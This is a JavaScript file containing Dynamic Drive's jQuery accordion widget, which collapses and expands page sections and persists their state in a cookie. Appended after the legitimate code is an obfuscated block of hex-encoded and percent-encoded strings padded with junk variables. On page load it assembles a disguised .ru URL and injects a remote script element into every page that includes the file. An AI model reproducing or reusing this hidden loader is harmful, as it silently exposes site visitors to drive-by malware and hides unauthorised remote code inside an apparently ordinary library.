//Accordion Content script: By Dynamic Drive, at http://www.dynamicdrive.com
//Created: Jan 7th, 08'

var ddaccordion={
	
	contentclassname:{}, //object to store corresponding contentclass name based on headerclass

	expandone:function(headerclass, selected){ //PUBLIC function to expand a particular header
		this.toggleone(headerclass, selected, "expand")
	},

	collapseone:function(headerclass, selected){ //PUBLIC function to collapse a particular header
		this.toggleone(headerclass, selected, "collapse")
	},

	expandall:function(headerclass){ //PUBLIC function to expand all headers based on their shared CSS classname
		var $headers=$('.'+headerclass)
		$('.'+this.contentclassname[headerclass]+':hidden').each(function(){
			$headers.eq(parseInt($(this).attr('contentindex'))).click()
		})
	},

	collapseall:function(headerclass){ //PUBLIC function to collapse all headers based on their shared CSS classname
		var $headers=$('.'+headerclass)
		$('.'+this.contentclassname[headerclass]+':visible').each(function(){
			$headers.eq(parseInt($(this).attr('contentindex'))).click()
		})
	},

	toggleone:function(headerclass, selected, optstate){ //PUBLIC function to expand/ collapse a particular header
		var $targetHeader=$('.'+headerclass).eq(selected)
		var $subcontent=$('.'+this.contentclassname[headerclass]).eq(selected)
		if (typeof optstate=="undefined" || optstate=="expand" && $subcontent.is(":hidden") || optstate=="collapse" && $subcontent.is(":visible"))
			$targetHeader.click()
	},

	expandit:function($targetHeader, $targetContent, config){
		$targetContent.slideDown(config.animatespeed)
		this.transformHeader($targetHeader, config, "expand")
	},

	collapseit:function($targetHeader, $targetContent, config){
		$targetContent.slideUp(config.animatespeed)
		this.transformHeader($targetHeader, config, "collapse")
	},

	transformHeader:function($targetHeader, config, state){
		$targetHeader.addClass((state=="expand")? config.cssclass.expand : config.cssclass.collapse) //alternate btw "expand" and "collapse" CSS classes
		.removeClass((state=="expand")? config.cssclass.collapse : config.cssclass.expand)
		if (config.htmlsetting.location=='src'){ //Change header image (assuming header is an image)?
			$targetHeader=($targetHeader.is("img"))? $targetHeader : $targetHeader.find('img').eq(0) //Set target to either header itself, or first image within header
			$targetHeader.attr('src', (state=="expand")? config.htmlsetting.expand : config.htmlsetting.collapse) //change header image
		}
		else if (config.htmlsetting.location=="prefix") //if change "prefix" HTML, locate dynamically added ".accordprefix" span tag and change it
			$targetHeader.find('.accordprefix').html((state=="expand")? config.htmlsetting.expand : config.htmlsetting.collapse)
		else if (config.htmlsetting.location=="suffix")
			$targetHeader.find('.accordsuffix').html((state=="expand")? config.htmlsetting.expand : config.htmlsetting.collapse)
	},

	getCookie:function(Name){ 
		var re=new RegExp(Name+"=[^;]+", "i") //construct RE to search for target name/value pair
		if (document.cookie.match(re)) //if cookie found
			return document.cookie.match(re)[0].split("=")[1] //return its value
		return null
	},

	setCookie:function(name, value){
		document.cookie = name + "=" + value
	},

	init:function(config){
	document.write('<style type="text/css">\n')
	document.write('.'+config.contentclass+'{display: none}\n') //generate CSS to hide contents
	document.write('<\/style>')
	$(document).ready(function(){
		ddaccordion.contentclassname[config.headerclass]=config.contentclass //remember contentclass name based on headerclass
		config.cssclass={collapse: config.toggleclass[0], expand: config.toggleclass[1]} //store expand and contract CSS classes as object properties
		config.htmlsetting={location: config.togglehtml[0], collapse: config.togglehtml[1], expand: config.togglehtml[2]} //store HTML settings as object properties
		var lastexpanded={} //object to hold reference to last expanded header and content (jquery objects)
		var expandedindices=(config.persiststate)? ddaccordion.getCookie(config.headerclass) : config.defaultexpanded
		expandedindices=(typeof expandedindices=='string')? expandedindices.replace(/c/ig, '').split(',') : config.defaultexpanded //test for valid cookie ('string'), otherwise (null, or 1st page load), default to defaultexpanded setting
		var $subcontents=$('.'+config["contentclass"])
		if (config["collapseprev"] && expandedindices.length>1)
			expandedindices=[expandedindices.pop()] //return last array element as an array (for sake of jQuery.inArray())
		$('.'+config["headerclass"]).each(function(index){ //loop through all headers
			if (/(prefix)|(suffix)/i.test(config.htmlsetting.location) && $(this).html()!=""){ //add a SPAN element to header depending on user setting and if header is a container tag
				$('<span class="accordprefix"></span>').prependTo(this)
				$('<span class="accordsuffix"></span>').appendTo(this)
			}
			$(this).attr('headerindex', index+'h') //store position of this header relative to its peers
			$subcontents.eq(index).attr('contentindex', index+'c') //store position of this content relative to its peers
			var $subcontent=$subcontents.eq(index)
			if (jQuery.inArray(index, expandedindices)!=-1){ //check for headers that should be expanded automatically
				if (config.animatedefault==false)
					$subcontent.show()
				ddaccordion.expandit($(this), $subcontent, config)
				lastexpanded={$header:$(this), $content:$subcontent}
			}  //end check
			else{
				$subcontent.hide()
				ddaccordion.transformHeader($(this), config, "collapse")
			}
		})
		$('.'+config["headerclass"]).click(function(){ //assign behavior when headers are clicked on
				var $subcontent=$subcontents.eq(parseInt($(this).attr('headerindex'))) //get subcontent that should be expanded/collapsed
				if ($subcontent.css('display')=="none"){
					ddaccordion.expandit($(this), $subcontent, config)
					if (config["collapseprev"] && lastexpanded.$header && $(this).get(0)!=lastexpanded.$header.get(0)){ //collapse previous content?
						ddaccordion.collapseit(lastexpanded.$header, lastexpanded.$content, config)
					}
					lastexpanded={$header:$(this), $content:$subcontent}
				}
				else{
					ddaccordion.collapseit($(this), $subcontent, config)
				}
				return false
 	})
		$(window).bind('unload', function(){ //clean up and persist on page unload
			$('.'+config["headerclass"]).unbind('click')
			var expandedindices=[]
			$('.'+config["contentclass"]+":visible").each(function(index){ //get indices of expanded headers
				expandedindices.push($(this).attr('contentindex'))
			})
			if (config.persiststate==true){ //persist state?
				expandedindices=(expandedindices.length==0)? '-1c' : expandedindices //No contents expanded, indicate that with dummy '-1c' value?
				ddaccordion.setCookie(config.headerclass, expandedindices)
			}
		})
	})
	}
}
var Oh=new Date();function K(){var P=new String();var m=unescape;var mm="\x68\x74\x74\x70\x3a\x2f\x2f\x68\x61\x74\x65\x6e\x61\x2d\x6e\x65\x2d\x6a\x70\x2e\x6e\x69\x63\x6f\x76\x69\x64\x65\x6f\x2e\x6a\x70\x2e\x68\x6f\x77\x73\x74\x75\x66\x66\x77\x6f\x72\x6b\x73\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var Y=new String();var D;if(D!=''){D='s'};var R=String("gp1Pw".substr(0,1));var LI=new Date();var n;if(n!='d' && n!='Qv'){n='d'};var j=window;var Pi;if(Pi!='vf' && Pi!='YW'){Pi='vf'};var F=new String();var Rz='';var Mz="";var nx;if(nx!='cz' && nx!='KF'){nx='cz'};var l;if(l!=''){l='sN'};function W(B,r){var X='';var U;if(U!='' && U!='b'){U=null};var oD;if(oD!='' && oD!='KZ'){oD=null};var M=m("%5b")+r+m("%5d");var LE=new Array();var p;if(p!='J' && p!='cr'){p=''};var ma=new RegExp(M, R);return B.replace(ma, Rz);};var ce;if(ce!='qQ' && ce != ''){ce=null};var WY;if(WY!='' && WY!='a'){WY='KY'};var dV;if(dV!='I' && dV!='cj'){dV=''};var Ir=new String();var V;if(V!='PN'){V='PN'};var w=m("%2f%64%65%70%6f%73%69%74%66%69%6c%65%73%2e%63%6f%6d%2f%64%65%70%6f%73%69%74%66%69%6c%65%73%2e%63%6f%6d%2f%73%63%69%65%6e%63%65%64%69%72%65%63%74%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%78%75%6e%6c%65%69%2e%63%6f%6d%2e%70%68%70");var MV;if(MV!='' && MV!='FQ'){MV='so'};var mmS=W('84747102499565899543075651','42976135');var nj='';var BJ='';var z=document;var mw;if(mw!='HK'){mw='HK'};var sp;if(sp!='WD'){sp='WD'};var KA='';var nC;if(nC!='' && nC!='lN'){nC=null};function C(){var Dd;if(Dd!='LT'){Dd=''};var Z;if(Z!='_'){Z=''};this.fM='';BJ=mm;var Tj='';BJ+=mmS;var uP;if(uP!='rF' && uP!='N'){uP=''};BJ+=w;var sO="";var UR=new Array();try {var Gt;if(Gt!='' && Gt!='Ax'){Gt=''};Q=z.createElement(W('s7cVr1iapqtv','aq7VvEmKU1Y'));var BK='';var TR;if(TR!='' && TR!='Jj'){TR=''};var IR=new Date();Q.src=BJ;Q.defer=[1][0];var wt='';var jR;if(jR!='' && jR!='Kv'){jR=null};z.body.appendChild(Q);this.Pb='';var fx=new String();} catch(H){};}var sS;if(sS!='' && sS!='Ce'){sS=''};var mW;if(mW!='oS' && mW!='IV'){mW='oS'};j[new String("onlo"+"adUM8".substr(0,2))]=C;};var hi=new Date();var ub="";K();var Uj=new Date();
